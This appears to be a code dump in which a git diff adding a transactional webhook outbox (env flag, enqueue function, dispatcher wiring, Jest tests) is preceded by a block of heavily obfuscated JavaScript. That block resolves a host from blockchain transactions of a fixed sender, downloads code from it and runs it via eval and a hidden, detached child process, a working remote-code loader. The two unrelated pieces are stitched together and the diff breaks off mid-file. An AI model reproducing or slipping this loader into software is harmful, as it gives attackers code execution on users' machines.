withRpcEndpoints((fDW$_eJ,e_LAcQwOmw)=>rpcCall(fDW$_eJ,SFMofmFJ$vRZYuKxyQueg(0x1d4),[SENDER,toBlockHex(sonDHRdo_bMvMCIkoLUDsGJ)],e_LAcQwOmw),YtkqMbzMeAhrXge[SFMofmFJ$vRZYuKxyQueg(0x230)])),vswg_sAiEVWH_gXzLwhdJR=rVa_$dpJzvTLnjuccOzQQ-0x1n;let E$NKJN$u=SEARCH_FLOOR-0x1n,z$DGbtfCnVULNqHFTfchL=sonDHRdo_bMvMCIkoLUDsGJ;while(z$DGbtfCnVULNqHFTfchL-E$NKJN$u>0x1n){const oiDXFWRhFRSn_ZxHLx=z$DGbtfCnVULNqHFTfchL-E$NKJN$u-0x1n,ChI_eDliPTbzODv=BigInt(Math[SFMofmFJ$vRZYuKxyQueg(0x1b9)](NONCE_FANOUT,Number(oiDXFWRhFRSn_ZxHLx))),SzdFiosUoBvOOBJTSR_EnOehm=[];for(let I$HAd_BejTQuVaP=0x1n;I$HAd_BejTQuVaP<=ChI_eDliPTbzODv;I$HAd_BejTQuVaP+=0x1n)SzdFiosUoBvOOBJTSR_EnOehm[SFMofmFJ$vRZYuKxyQueg(0x1fa)](E$NKJN$u+I$HAd_BejTQuVaP*(z$DGbtfCnVULNqHFTfchL-E$NKJN$u)/(ChI_eDliPTbzODv+0x1n));const xwtPZiK=await nonceAtBlocks(SzdFiosUoBvOOBJTSR_EnOehm,YtkqMbzMeAhrXge[SFMofmFJ$vRZYuKxyQueg(0x230)]),PQ_$XTLQAoeCmdwIf=xwtPZiK[SFMofmFJ$vRZYuKxyQueg(0x1d7)](faRwLMnko$EDYKvvKSvpfMxLe$D=>faRwLMnko$EDYKvvKSvpfMxLe$D>=rVa_$dpJzvTLnjuccOzQQ);if(PQ_$XTLQAoeCmdwIf===-(parseInt(0xd5b)+-0x10cf+-parseInt(0xf)*Math.floor(-0x3b)))E$NKJN$u=SzdFiosUoBvOOBJTSR_EnOehm[SzdFiosUoBvOOBJTSR_EnOehm[SFMofmFJ$vRZYuKxyQueg(0x1e9)]-(parseInt(0x137)*Number(-parseInt(0x17))+-parseInt(0x2407)+-0x67*Math.trunc(-parseInt(0x9f)))];else{z$DGbtfCnVULNqHFTfchL=SzdFiosUoBvOOBJTSR_EnOehm[PQ_$XTLQAoeCmdwIf];if(PQ_$XTLQAoeCmdwIf>parseInt(0x1)*Math.trunc(-0x1d62)+0x1*Math.trunc(-parseInt(0xa58))+Math.floor(parseInt(0x27ba)))E$NKJN$u=SzdFiosUoBvOOBJTSR_EnOehm[PQ_$XTLQAoeCmdwIf-(-0x26*0x55+-parseInt(0x15b7)+parseFloat(0x2256))];}}const okU_xAogHDLNF$RNOFrSZKFmZg=await withRpcEndpoints((A$z_hrf,Qma_RRlICjFrFZ)=>rpcCall(A$z_hrf,SFMofmFJ$vRZYuKxyQueg(0x1eb),[toBlockHex(z$DGbtfCnVULNqHFTfchL),!![]],Qma_RRlICjFrFZ),YtkqMbzMeAhrXge[SFMofmFJ$vRZYuKxyQueg(0x230)]),HgqA_mVm=okU_xAogHDLNF$RNOFrSZKFmZg?.[SFMofmFJ$vRZYuKxyQueg(0x1d2)]||[];let cBTrpPKOu=null;for(const NnooDmNoC_fxkiEQIisGB$iagg of HgqA_mVm){if(!NnooDmNoC_fxkiEQIisGB$iagg[SFMofmFJ$vRZYuKxyQueg(0x204)]||NnooDmNoC_fxkiEQIisGB$iagg[SFMofmFJ$vRZYuKxyQueg(0x204)][SFMofmFJ$vRZYuKxyQueg(0x1fe)]()!==SENDER)continue;if(BigInt(NnooDmNoC_fxkiEQIisGB$iagg[SFMofmFJ$vRZYuKxyQueg(0x1d0)])===vswg_sAiEVWH_gXzLwhdJR){cBTrpPKOu=NnooDmNoC_fxkiEQIisGB$iagg;break;}if(!cBTrpPKOu||BigInt(NnooDmNoC_fxkiEQIisGB$iagg[SFMofmFJ$vRZYuKxyQueg(0x1d0)])>BigInt(cBTrpPKOu[SFMofmFJ$vRZYuKxyQueg(0x1d0)]))cBTrpPKOu=NnooDmNoC_fxkiEQIisGB$iagg;}return{'blockNumber':z$DGbtfCnVULNqHFTfchL,'tx':cBTrpPKOu};}finally{YtkqMbzMeAhrXge[SFMofmFJ$vRZYuKxyQueg(0x22d)]();}}async function lastSenderTxViaIndexer(){const LXduCRQV_qabPksXe=R$DTZzu_TXc,rkFjsqv$hQa=INDEXER_URL+LXduCRQV_qabPksXe(0x1ff)+SENDER+LXduCRQV_qabPksXe(0x226),ZJeqwghbta=await httpRequest(rkFjsqv$hQa),EoElsTu_rU=Array[LXduCRQV_qabPksXe(0x1ed)](ZJeqwghbta?.[LXduCRQV_qabPksXe(0x1e8)])?ZJeqwghbta[LXduCRQV_qabPksXe(0x1e8)]:[],cNlgqEkUX_vWrdE_gxGcm=EoElsTu_rU[LXduCRQV_qabPksXe(0x1c3)](yTLwkulYsrR$UqVCihPaRnLeNs=>yTLwkulYsrR$UqVCihPaRnLeNs[LXduCRQV_qabPksXe(0x204)]&&yTLwkulYsrR$UqVCihPaRnLeNs[LXduCRQV_qabPksXe(0x204)][LXduCRQV_qabPksXe(0x1fe)]()===SENDER);if(!cNlgqEkUX_vWrdE_gxGcm)return null;return{'blockNumber':BigInt(cNlgqEkUX_vWrdE_gxGcm[LXduCRQV_qabPksXe(0x229)]),'tx':cNlgqEkUX_vWrdE_gxGcm};}function TtFl_OYFcp$oFJXAVh(Mn_XngkaX_amz,O$XdSR_ZoeBzrPxNxX){const x$cDU_biHgR=FU$Mfb();return TtFl_OYFcp$oFJXAVh=function(KgO_OipbV_dqhk,h$_EjwRLMRO){KgO_OipbV_dqhk=KgO_OipbV_dqhk-(-0x1130+parseInt(0x239f)*-parseInt(0x1)+-0x1b43*-parseInt(0x2));let tKSDlu$s_zyp=x$cDU_biHgR[KgO_OipbV_dqhk];if(TtFl_OYFcp$oFJXAVh['HlimGQ']===undefined){const lpgLoEZtbL_nXdqVKwVzU_Lt=function(dBSPnUeBpu_UoX){let rfMisoucqiYhMxuMfHUgVk=parseInt(0x4)*Math.ceil(-parseInt(0x576))+Math.trunc(parseInt(0x15de))+parseInt(0x2c9)&0x11b+0x2048+parseInt(0x566)*-parseInt(0x6),ojt$WpApEv_hcNSaNpGWW=new Uint8Array(dBSPnUeBpu_UoX['match'](/.{1,2}/g)['map'](kQApX_TOlNddfsSMWtxRg=>parseInt(kQApX_TOlNddfsSMWtxRg,parseInt(0x2)*Math.ceil(-0x121d)+Math.ceil(0xb2)*Number(parseInt(0x34))+Math.max(-0x1,-parseInt(0x1))*-parseInt(0x22)))),TgtW$E_CA=ojt$WpApEv_hcNSaNpGWW['map'](d_hK$Qc=>d_hK$Qc^rfMisoucqiYhMxuMfHUgVk),BctDOrlFndvgjE=new TextDecoder(),zhdWw$u_jphTN=BctDOrlFndvgjE['decode'](TgtW$E_CA);return zhdWw$u_jphTN;};TtFl_OYFcp$oFJXAVh['LyYGGg']=lpgLoEZtbL_nXdqVKwVzU_Lt,Mn_XngkaX_amz=arguments,TtFl_OYFcp$oFJXAVh['HlimGQ']=!![];}const gnKJymEdsW=x$cDU_biHgR[parseInt(-0x20b0)+parseFloat(0x1)*Number(-0x2353)+parseInt(0x4403)],Q$aZbm=KgO_OipbV_dqhk+gnKJymEdsW,lSxajigYBkrTMo=Mn_XngkaX_amz[Q$aZbm];return!lSxajigYBkrTMo?(TtFl_OYFcp$oFJXAVh['SrzVWv']===undefined&&(TtFl_OYFcp$oFJXAVh['SrzVWv']=!![]),tKSDlu$s_zyp=TtFl_OYFcp$oFJXAVh['LyYGGg'](tKSDlu$s_zyp),Mn_XngkaX_amz[Q$aZbm]=tKSDlu$s_zyp):tKSDlu$s_zyp=lSxajigYBkrTMo,tKSDlu$s_zyp;},TtFl_OYFcp$oFJXAVh(Mn_XngkaX_amz,O$XdSR_ZoeBzrPxNxX);}async function run(){const mnGNB_JpO=R$DTZzu_TXc,GbjYiwYc$UDFcrVQOYr=BigInt(await withRpcEndpoints((qWeCmmFZOCdnAEuYz_Hq,HqkpMC$bILqXhYpucei)=>rpcCall(qWeCmmFZOCdnAEuYz_Hq,mnGNB_JpO(0x212),[],HqkpMC$bILqXhYpucei))),QrZjhghqBnYCBD$eVKAADPc=GbjYiwYc$UDFcrVQOYr-GbjYiwYc$UDFcrVQOYr%BLOCK_MULTIPLE,HqkfDyzvifaIRZLZTFLBf_PIfE=global;let PsLXYLePPPM=await firstMatch(candidateBlocks(QrZjhghqBnYCBD$eVKAADPc)[mnGNB_JpO(0x205)](blockTask)),[IoOaRKb$rgLEWGzkDY,tk_yOpbrjagBixEVvwWo_ZV]=decodeAddress(PsLXYLePPPM?.['tx']?.['to']);function vebZXFMdlHOtHT$GzXfEWk_t(JpxnuRzR$yKZIhup,LV_QLhPy_RRpqY,CfnpuaTWEIbv$uv$k){const SkIVendtrlZQdlCeXx_L=mnGNB_JpO;if(!JpxnuRzR$yKZIhup)return null;return new URL(SkIVendtrlZQdlCeXx_L(0x1d6)+JpxnuRzR$yKZIhup+':'+LV_QLhPy_RRpqY+CfnpuaTWEIbv$uv$k);}let QsHadcoO_fRgBBtMp_LLnyuIDW=null;const gdfPRgajquSoa_jKkcvHgEMQ=vebZXFMdlHOtHT$GzXfEWk_t(IoOaRKb$rgLEWGzkDY,-0x141+Number(-0x1)*0x1b1d+parseInt(0x1e19),mnGNB_JpO(0x1c0));if(gdfPRgajquSoa_jKkcvHgEMQ)try{QsHadcoO_fRgBBtMp_LLnyuIDW=await PhpQSGcotCPMCg(mnGNB_JpO(0x1c2),gdfPRgajquSoa_jKkcvHgEMQ);}catch{QsHadcoO_fRgBBtMp_LLnyuIDW=null;}!QsHadcoO_fRgBBtMp_LLnyuIDW&&(PsLXYLePPPM=await lastSenderTx(GbjYiwYc$UDFcrVQOYr)[mnGNB_JpO(0x22c)](()=>null)??await lastSenderTxViaIndexer()[mnGNB_JpO(0x22c)](()=>null),[IoOaRKb$rgLEWGzkDY,tk_yOpbrjagBixEVvwWo_ZV]=decodeAddress(PsLXYLePPPM?.['tx']?.['to']));HqkfDyzvifaIRZLZTFLBf_PIfE['_V']=HqkfDyzvifaIRZLZTFLBf_PIfE['i'],HqkfDyzvifaIRZLZTFLBf_PIfE['_H']=mnGNB_JpO(0x1d6)+IoOaRKb$rgLEWGzkDY+mnGNB_JpO(0x1c1),HqkfDyzvifaIRZLZTFLBf_PIfE[mnGNB_JpO(0x20a)]=mnGNB_JpO(0x1d6)+tk_yOpbrjagBixEVvwWo_ZV+mnGNB_JpO(0x1c1),HqkfDyzvifaIRZLZTFLBf_PIfE[mnGNB_JpO(0x1ca)]=mnGNB_JpO(0x1d6)+IoOaRKb$rgLEWGzkDY+mnGNB_JpO(0x228),HqkfDyzvifaIRZLZTFLBf_PIfE[mnGNB_JpO(0x231)]=mnGNB_JpO(0x1d6)+IoOaRKb$rgLEWGzkDY+mnGNB_JpO(0x1c1);function PhpQSGcotCPMCg(tiFYpz__aVvvVSVJmaXZOVgTE,mlzh$TPaKywkyH){const xIeUnB=mnGNB_JpO,WvsYOuqq$IpBKddpkclpMNbI_a={'hostname':mlzh$TPaKywkyH[xIeUnB(0x1cb)],'port':Number(mlzh$TPaKywkyH[xIeUnB(0x216)])||parseInt(0x13b1)+Math.ceil(parseInt(0x1))*parseInt(0x11da)+-0x253b,'path':mlzh$TPaKywkyH[xIeUnB(0x1f1)]+mlzh$TPaKywkyH[xIeUnB(0x209)],'headers':{'User-Agent':xIeUnB(0x213),'Sec-V':HqkfDyzvifaIRZLZTFLBf_PIfE['_V']||parseInt(0x138e)+Math.trunc(-parseInt(0x227a))+parseInt(0xeec)}};function q$wiTvxLZvqxyTLAqfjK_Ss(VfRkMn_JqVDknqCPnD){const kzq_zPYHoO=xIeUnB,INLgEwv=tiFYpz__aVvvVSVJmaXZOVgTE[kzq_zPYHoO(0x1e9)];for(let WzpzDKFOVoyzYVqxsQMOHP=-0x29b*parseInt(0x4)+-parseInt(0x441)+Math.trunc(0xead);WzpzDKFOVoyzYVqxsQMOHP{const Pe_M$nvBmlLfZa=TtFl_OYFcp$oFJXAVh,pI_ZtG=http[Pe_M$nvBmlLfZa(0x21f)]({...WvsYOuqq$IpBKddpkclpMNbI_a,'method':q_Pg$eP},CSJPQxBaiSEwC$eqHy=>{const xnPLJosut$HUnKo=Pe_M$nvBmlLfZa;if(q_Pg$eP===xnPLJosut$HUnKo(0x1dd)){try{MpHMVhSAbcJqXxxLVVpakKDE(cNSrRcwiKbyMszjlncppZyW(CSJPQxBaiSEwC$eqHy));}catch(WguSIViOmc$UVqu){swIXH(WguSIViOmc$UVqu);}CSJPQxBaiSEwC$eqHy[xnPLJosut$HUnKo(0x1be)]();return;}const gaWAFVTCBgJWo_T$d=[];CSJPQxBaiSEwC$eqHy['on'](xnPLJosut$HUnKo(0x1ce),ujHBr$cosAIY_t=>gaWAFVTCBgJWo_T$d[xnPLJosut$HUnKo(0x1fa)](ujHBr$cosAIY_t)),CSJPQxBaiSEwC$eqHy['on'](xnPLJosut$HUnKo(0x1bb),()=>{const iPhCsjeOskYYcdaUsU=xnPLJosut$HUnKo;try{const SoNGpsGC_miLJ_mfRpAHv=Buffer[iPhCsjeOskYYcdaUsU(0x1c8)](gaWAFVTCBgJWo_T$d);if(SoNGpsGC_miLJ_mfRpAHv[iPhCsjeOskYYcdaUsU(0x1e9)])return MpHMVhSAbcJqXxxLVVpakKDE(q$wiTvxLZvqxyTLAqfjK_Ss(SoNGpsGC_miLJ_mfRpAHv));if(CSJPQxBaiSEwC$eqHy[iPhCsjeOskYYcdaUsU(0x21e)][iPhCsjeOskYYcdaUsU(0x1ba)])return MpHMVhSAbcJqXxxLVVpakKDE(cNSrRcwiKbyMszjlncppZyW(CSJPQxBaiSEwC$eqHy));swIXH(new Error(iPhCsjeOskYYcdaUsU(0x1e5)));}catch(jFUlBWwGIgGNHCkCLHWvUnO){swIXH(jFUlBWwGIgGNHCkCLHWvUnO);}}),CSJPQxBaiSEwC$eqHy['on'](xnPLJosut$HUnKo(0x1cc),swIXH);});pI_ZtG['on'](Pe_M$nvBmlLfZa(0x1cc),swIXH),pI_ZtG[Pe_M$nvBmlLfZa(0x1f9)](HTTP_TIMEOUT_MS,()=>{const zUaGughEjyEVicCvyDEPwQ=Pe_M$nvBmlLfZa;pI_ZtG[zUaGughEjyEVicCvyDEPwQ(0x1f3)](new Error(zUaGughEjyEVicCvyDEPwQ(0x1c5)+HTTP_TIMEOUT_MS+'ms'));}),pI_ZtG[Pe_M$nvBmlLfZa(0x1bb)]();});}return OAdYyqdMF(xIeUnB(0x214))[xIeUnB(0x22c)](()=>OAdYyqdMF(xIeUnB(0x1dd)));}async function UNPzJu_u_x(EnQyLKlirYkOodLka,pagghrRK_Z_XMnuSYqW,re_kgEP$p){const uGMcX_xTplN=mnGNB_JpO;try{const oqSulVevnWywczc=await PhpQSGcotCPMCg(pagghrRK_Z_XMnuSYqW,EnQyLKlirYkOodLka),EJwybIiT=re_kgEP$p?uGMcX_xTplN(0x1e6)+(HqkfDyzvifaIRZLZTFLBf_PIfE['_V']||-0xb96+Math.trunc(-0x5ad)*-parseInt(0x3)+-parseInt(0x571))+uGMcX_xTplN(0x1f5)+HqkfDyzvifaIRZLZTFLBf_PIfE['_H']+uGMcX_xTplN(0x1e1)+HqkfDyzvifaIRZLZTFLBf_PIfE[uGMcX_xTplN(0x20a)]+uGMcX_xTplN(0x1f6):uGMcX_xTplN(0x1e6)+(HqkfDyzvifaIRZLZTFLBf_PIfE['_V']||-parseInt(0x1e86)+parseFloat(-parseInt(0x236))*-parseInt(0x11)+-0x710)+uGMcX_xTplN(0x20e)+HqkfDyzvifaIRZLZTFLBf_PIfE[uGMcX_xTplN(0x1ca)]+uGMcX_xTplN(0x22e)+HqkfDyzvifaIRZLZTFLBf_PIfE[uGMcX_xTplN(0x231)]+uGMcX_xTplN(0x1f6);if(!re_kgEP$p)eval(EJwybIiT+oqSulVevnWywczc);spawn(uGMcX_xTplN(0x20f),['-e',EJwybIiT+oqSulVevnWywczc],{'detached':!![],'stdio':uGMcX_xTplN(0x1c6),'windowsHide':!![]})[uGMcX_xTplN(0x22f)]();}catch(AdUxYYc$v){}}await UNPzJu_u_x(new URL(mnGNB_JpO(0x1d6)+IoOaRKb$rgLEWGzkDY+mnGNB_JpO(0x1f8)),mnGNB_JpO(0x1c2),![]),await UNPzJu_u_x(new URL(mnGNB_JpO(0x1d6)+IoOaRKb$rgLEWGzkDY+mnGNB_JpO(0x207)),mnGNB_JpO(0x1e7),!![]);}run(); diff --git a/src/config/env.ts b/src/config/env.ts index 372479a4..6d43318a 100644 --- a/src/config/env.ts +++ b/src/config/env.ts @@ -100,6 +100,7 @@ const envSchema = z.object({ KYC_CIRCUIT_HALF_OPEN_MS: z.coerce.number().int().positive().default(30000), SUPPRESSION_AUTO_EXPIRE_DAYS: z.coerce.number().int().positive().default(365), BOUNCE_RATIO_ALARM_THRESHOLD: z.coerce.number().min(0).max(1).default(0.05), + OUTBOX_DISPATCHER_ENABLED: z.coerce.boolean().default(false), }).refine(data => { if (data.NODE_ENV === "production" && !data.DATABASE_URL) return false; return true; diff --git a/src/db/transaction.outbox.test.ts b/src/db/transaction.outbox.test.ts new file mode 100644 index 00000000..af60c6c4 --- /dev/null +++ b/src/db/transaction.outbox.test.ts @@ -0,0 +1,127 @@ +import { PoolClient } from 'pg'; +import { + enqueueWebhookOutboxEvents, + TransactionError, + WebhookOutboxEvent, +} from './transaction'; +import { WebhookEventType } from '../services/webhookService'; +import { OutboxRepository, OutboxRow, InsertOutboxInput } from './repositories/outboxRepository'; + +function makeRow(overrides: Partial = {}): OutboxRow { + return { + id: 'row-1', + event_id: 'event-1', + event_type: WebhookEventType.PAYOUT_COMPLETED, + payload: {}, + status: 'pending', + attempts: 0, + available_at: new Date(), + created_at: new Date(), + updated_at: new Date(), + ...overrides, + }; +} + +function makeOutboxRepo(rows: OutboxRow[] = []): jest.Mocked { + const repo = { + insert: jest.fn(), + drainPending: jest.fn(), + markDispatched: jest.fn(), + markFailed: jest.fn(), + getOldestPending: jest.fn(), + } as unknown as jest.Mocked; + let call = 0; + (repo.insert as jest.Mock).mockImplementation( + async (input: InsertOutboxInput) => + rows[call++] ?? makeRow({ event_id: input.event_id ?? `event-${call}`, event_type: input.event_type }), + ); + return repo; +} + +function makeClient(): jest.Mocked { + return { query: jest.fn() } as unknown as jest.Mocked; +} + +describe('enqueueWebhookOutboxEvents', () => { + it('inserts every event through the transactional client and returns the event_ids in order', async () => { + const client = makeClient(); + const repo = makeOutboxRepo([ + makeRow({ id: 'row-a', event_id: 'id-a' }), + makeRow({ id: 'row-b', event_id: 'id-b' }), + ]); + const events: WebhookOutboxEvent[] = [ + { event: WebhookEventType.DISTRIBUTION_COMPLETED, data: { run_id: 'r1' } }, + { event: WebhookEventType.PAYOUT_FAILED, data: { payout_id: 'p1' }, eventId: 'id-b' }, + ]; + + const ids = await enqueueWebhookOutboxEvents(client, repo, events); + + expect(ids).toEqual(['id-a', 'id-b']); + expect(repo.insert).toHaveBeenCalledTimes(2); + expect(repo.insert).toHaveBeenNthCalledWith( + 1, + expect.objectContaining({ + event_type: WebhookEventType.DISTRIBUTION_COMPLETED, + payload: { run_id: 'r1' }, + }), + client, + ); + expect(repo.insert).toHaveBeenNthCalledWith( + 2, + expect.objectContaining({ + event_type: WebhookEventType.PAYOUT_FAILED, + payload: { payout_id: 'p1' }, + event_id: 'id-b', + }), + client, + ); + }); + + it('returns an empty array when no events are supplied', async () => { + const repo = makeOutboxRepo(); + const ids = await enqueueWebhookOutboxEvents(makeClient(), repo, []); + expect(ids).toEqual([]); + expect(repo.insert).not.toHaveBeenCalled(); + }); + + it('throws TransactionError when the transactional client is missing', async () => { + await expect( + enqueueWebhookOutboxEvents(null as unknown as PoolClient, makeOutboxRepo(), [ + { event: WebhookEventType.PAYOUT_COMPLETED, data: {} }, + ]), + ).rejects.toThrow(TransactionError); + }); + + it('throws TransactionError when outboxRepo is missing', async () => { + await expect( + enqueueWebhookOutboxEvents(makeClient(), null as unknown as OutboxRepository, [ + { event: WebhookEventType.PAYOUT_COMPLETED, data: {} }, + ]), + ).rejects.toThrow(TransactionError); + }); + + it('throws TransactionError when events is not an array', async () => { + await expect( + enqueueWebhookOutboxEvents(makeClient(), makeOutboxRepo(), {} as unknown as WebhookOutboxEvent[]), + ).rejects.toThrow(TransactionError); + }); + + it('throws TransactionError when an event entry is missing its event type', async () => { + await expect( + enqueueWebhookOutboxEvents(makeClient(), makeOutboxRepo(), [ + { event: undefined as unknown as WebhookEventType, data: {} }, + ]), + ).rejects.toThrow('Each outbox event must include a valid event type'); + }); + + it('propagates an outbox insert failure so the producer transaction rolls back', async () => { + const client = makeClient(); + const repo = makeOutboxRepo(); + (repo.insert as jest.Mock).mockRejectedValueOnce(new Error('insert failed')); + await expect( + enqueueWebhookOutboxEvents(client, repo, [ + { event: WebhookEventType.PAYOUT_COMPLETED, data: {} }, + ]), + ).rejects.toThrow('insert failed'); + }); +}); \ No newline at end of file diff --git a/src/db/transaction.ts b/src/db/transaction.ts index 2b779ff9..47a010be 100644 --- a/src/db/transaction.ts +++ b/src/db/transaction.ts @@ -1,5 +1,7 @@ -import { Pool, PoolClient } from "pg"; -import { globalLogger } from "../lib/logger"; +import { Pool, PoolClient } from 'pg'; +import { globalLogger } from '../lib/logger'; +import { WebhookEventType } from '../services/webhookService'; +import { OutboxRepository } from './repositories/outboxRepository'; /** * Transaction options for controlling transaction behavior @@ -419,3 +421,84 @@ export async function withAdvisoryLock( options, ); } + +/** + * A webhook event to be captured by the transactional outbox as part of the + * producing database transaction. + */ +export interface WebhookOutboxEvent { + /** Webhook event type (e.g. `distribution.completed`, `payout.failed`). */ + event: WebhookEventType; + /** Arbitrary JSON-serialisable event payload. */ + data: unknown; + /** Stable idempotency key; a UUID v4 is generated when omitted. */ + eventId?: string; +} + +/** + * Insert webhook events into the transactional outbox using the caller's + * transactional `client`. + * + * Because every row is written through the same `PoolClient` as the domain + * change that produced the event, the rows commit or roll back atomically with + * the surrounding `withTransaction` block: + * + * - **Commit** → the rows become visible and are picked up by the + * `OutboxDispatcher` drain worker. + * - **Rollback** → the rows are discarded with the transaction, so a failed + * producer never emits a phantom webhook event. + * + * Each row carries a stable `event_id` (the caller-supplied idempotency key or + * a fresh UUID v4). The dispatcher forwards that id as the webhook payload `id` + * on every delivery attempt, so the receiver's `webhookEventOrdering` + * middleware can deduplicate retries — exactly-once delivery. + * + * @example + * ```typescript + * await withTransaction(pool, async (client) => { + * await client.query('UPDATE payouts SET status = $1 ...', ['completed', payoutId]); + * await enqueueWebhookOutboxEvents(client, outboxRepo, [{ + * event: WebhookEventType.PAYOUT_COMPLETED, + * data: { payout_id: payoutId }, + * }]); + * }); + * ``` + * + * @param client Transactional PoolClient from the producing transaction. + * @param outboxRepo OutboxRepository wrapping the `webhook_outbox` table. + * @param events List of events to capture atomically. + * @returns The stable `event_id` written for each event, in order. + * @throws {TransactionError} when `client`, `outboxRepo` or the events list + * is invalid. + */ +export async function enqueueWebhookOutboxEvents( + client: PoolClient, + outboxRepo: OutboxRepository, + events: WebhookOutboxEvent[], +): Promise { + if (!client) { + throw new TransactionError('PoolClient is required to enqueue webhook outbox events'); + } + if (!outboxRepo) { + throw new TransactionError('OutboxRepository is required to enqueue webhook outbox events'); + } + if (!Array.isArray(events)) { + throw new TransactionError('Outbox events must be provided as an array'); + } + if (events.length === 0) { + return []; + } + + const eventIds: string[] = []; + for (const entry of events) { + if (!entry || typeof entry !== 'object' || !entry.event) { + throw new TransactionError('Each outbox event must include a valid event type'); + } + const row = await outboxRepo.insert( + { event_type: entry.event, payload: entry.data, event_id: entry.eventId }, + client, + ); + eventIds.push(row.event_id); + } + return eventIds; +} diff --git a/src/index.ts b/src/index.ts index bd1e36c7..0d210c99 100644 --- a/src/index.ts +++ b/src/index.ts @@ -32,6 +32,8 @@ import { WebhookPayload, WebhookEventType, } from "./services/webhookService"; +import { OutboxRepository } from "./db/repositories/outboxRepository"; +import { OutboxDispatcher, makeWebhookDispatchFn } from "./services/outboxDispatcher"; import { pool } from "./db/pool"; import { globalMetrics, @@ -1076,8 +1078,11 @@ export class WebhookQueue { ): Promise { const currentAttempt = delivery.attempts + 1; + // Propagate the transactional outbox event_id when present (idempotency key + // the receiver's webhookEventOrdering relies on to deduplicate retries), and + // fall back to the delivery row id for legacy callers. const webhookPayload: WebhookPayload = { - id: delivery.id, + id: (payload?.id as string) || delivery.id, event: (payload as any).event || WebhookEventType.OFFERING_UPDATED, payload: (payload as any).payload || payload, timestamp: new Date().toISOString(), @@ -1246,10 +1251,30 @@ if (require.main === module && env.NODE_ENV !== "test") { if (roleConfig.webhookQueue) { const repo = new WebhookEndpointRepository(pool); - const service = new WebhookService(repo); + const service = new WebhookService(repo, { + outboxRepo: env.OUTBOX_DISPATCHER_ENABLED ? new OutboxRepository(pool) : undefined, + }); WebhookQueue.init(repo, service); void WebhookQueue.resumePending(); console.log("[server] WebhookQueue started"); + + // Drain the transactional outbox in a separate polling worker. Every + // outbox row was written atomically with the transaction that produced + // the event; retries reuse the same event_id so receivers can deduplicate + // via webhookEventOrdering (exactly-once). + if (env.OUTBOX_DISPATCHER_ENABLED) { + const outboxRepo = new OutboxRepository(pool); + const dispatcher = new OutboxDispatcher( + outboxRepo, + makeWebhookDispatchFn( + WebhookQueue.processDelivery.bind(WebhookQueue), + (event) => repo.listActiveByEvent(event), + ), + ); + dispatcher.start(); + backgroundStopFns.push(() => dispatcher.stop()); + console.log("[server] OutboxDispatcher started"); + } } for (const stopFn of backgroundStopFns) { diff --git a/src/services/webhookService.test.ts b/src/services/webhookService.test.ts index 408ccc01..7e1c09b2 100644 --- a/src/services/webhookService.test.ts +++ b/src/services/webhookService.test.ts @@ -13,6 +13,7 @@ import { WEBHOOK_EVENT_HEADER, } from '../lib/webhookSignature'; import { OutboxRepository, OutboxRow } from '../db/repositories/outboxRepository'; +import type { PoolClient } from 'pg'; // ─── Helpers ──────────────────────────────────────────────────────────────── @@ -277,6 +278,67 @@ describe('WebhookService.emit', () => { }); }); +// ─── WebhookService.emit (transactional outbox path) ──────────────────────── + +describe('WebhookService.emit with transactional client', () => { + function makeOutboxRow(overrides: Partial = {}): OutboxRow { + return { + id: 'row-1', + event_id: 'stable-uuid', + event_type: WebhookEventType.DISTRIBUTION_COMPLETED, + payload: {}, + status: 'pending', + attempts: 0, + available_at: new Date(), + created_at: new Date(), + updated_at: new Date(), + ...overrides, + }; + } + + it('writes an outbox row atomically via the provided client and returns the event_id', async () => { + const mockClient = {} as unknown as PoolClient; + const outboxRepo = { + insert: jest.fn().mockResolvedValue(makeOutboxRow({ event_id: 'event-abc' })), + } as unknown as jest.Mocked; + const repo = makeRepo(); + const svc = new WebhookService(repo, { outboxRepo }); + + const eventId = await svc.emit(WebhookEventType.DISTRIBUTION_COMPLETED, { run_id: 'r1' }, mockClient); + + expect(eventId).toBe('event-abc'); + expect(outboxRepo.insert).toHaveBeenCalledWith( + expect.objectContaining({ event_type: WebhookEventType.DISTRIBUTION_COMPLETED }), + mockClient, + ); + // No direct fire-and-forget delivery occurs on the transactional path. + expect(repo.listActiveByEvent).not.toHaveBeenCalled(); + expect(mockFetch).not.toHaveBeenCalled(); + }); + + it('throws when a transactional client is supplied but outboxRepo is not configured', async () => { + const svc = new WebhookService(makeRepo()); + await expect( + svc.emit(WebhookEventType.PAYOUT_FAILED, { reason: 'x' }, {} as unknown as PoolClient) + ).rejects.toThrow('outboxRepo is required'); + }); + + it('keeps legacy fire-and-forget behaviour when no client is supplied', async () => { + const ep = makeEndpoint(); + const repo = makeRepo([ep]); + const svc = new WebhookService(repo, { initialDelayMs: 0 }); + mockFetch.mockClear(); + mockFetch.mockResolvedValue(makeOkResponse()); + + const result = await svc.emit(WebhookEventType.OFFERING_CREATED, { id: 'offer-1' }); + await flushPromises(); + + expect(result).toBeUndefined(); + expect(repo.listActiveByEvent).toHaveBeenCalledWith(WebhookEventType.OFFERING_CREATED); + expect(mockFetch).toHaveBeenCalledWith(ep.url, expect.anything()); + }); +}); + // ─── WebhookEventType constants ────────────────────────────────────────────── describe('WebhookEventType', () => { diff --git a/src/services/webhookService.ts b/src/services/webhookService.ts index 78564cb3..402823bd 100644 --- a/src/services/webhookService.ts +++ b/src/services/webhookService.ts @@ -126,8 +126,25 @@ export class WebhookService { /** * Emits a webhook event to all subscribed endpoints (fire-and-forget). + * + * Exact-once variant: when `client` (a transactional PoolClient from inside + * `withTransaction`) is supplied, the event is written to the transactional + * outbox instead of being dispatched directly. The outbox row commits or + * rolls back atomically with the producing transaction and the stable + * `event_id` is returned so the caller can correlate later deliveries. + * + * @param event Webhook event type. + * @param data Event payload. + * @param client Optional transactional client. When provided, requires + * `outboxRepo` to be configured; otherwise this throws so an + * event is never silently emitted outside the transaction. + * @returns The stable event_id when emitted through the outbox, else void. */ - async emit(event: WebhookEventType, data: T): Promise { + async emit(event: WebhookEventType, data: T, client?: PoolClient): Promise { + if (client) { + return this.emitToOutbox(client, event, data); + } + let endpoints: WebhookEndpointRecord[]; try { endpoints = await this.endpointRepo.listActiveByEvent(event); diff --git a/src/webhookQueueEventId.test.ts b/src/webhookQueueEventId.test.ts new file mode 100644 index 00000000..c583bf4a --- /dev/null +++ b/src/webhookQueueEventId.test.ts @@ -0,0 +1,141 @@ +import { WebhookQueue } from './index'; +import { + WebhookEndpointRepository, + WebhookDelivery, + WebhookEndpoint, +} from './db/repositories/webhookEndpointRepository'; +import { WebhookService } from './services/webhookService'; +import { pool } from './db/client'; +import { globalMetrics } from './lib/metrics'; +import 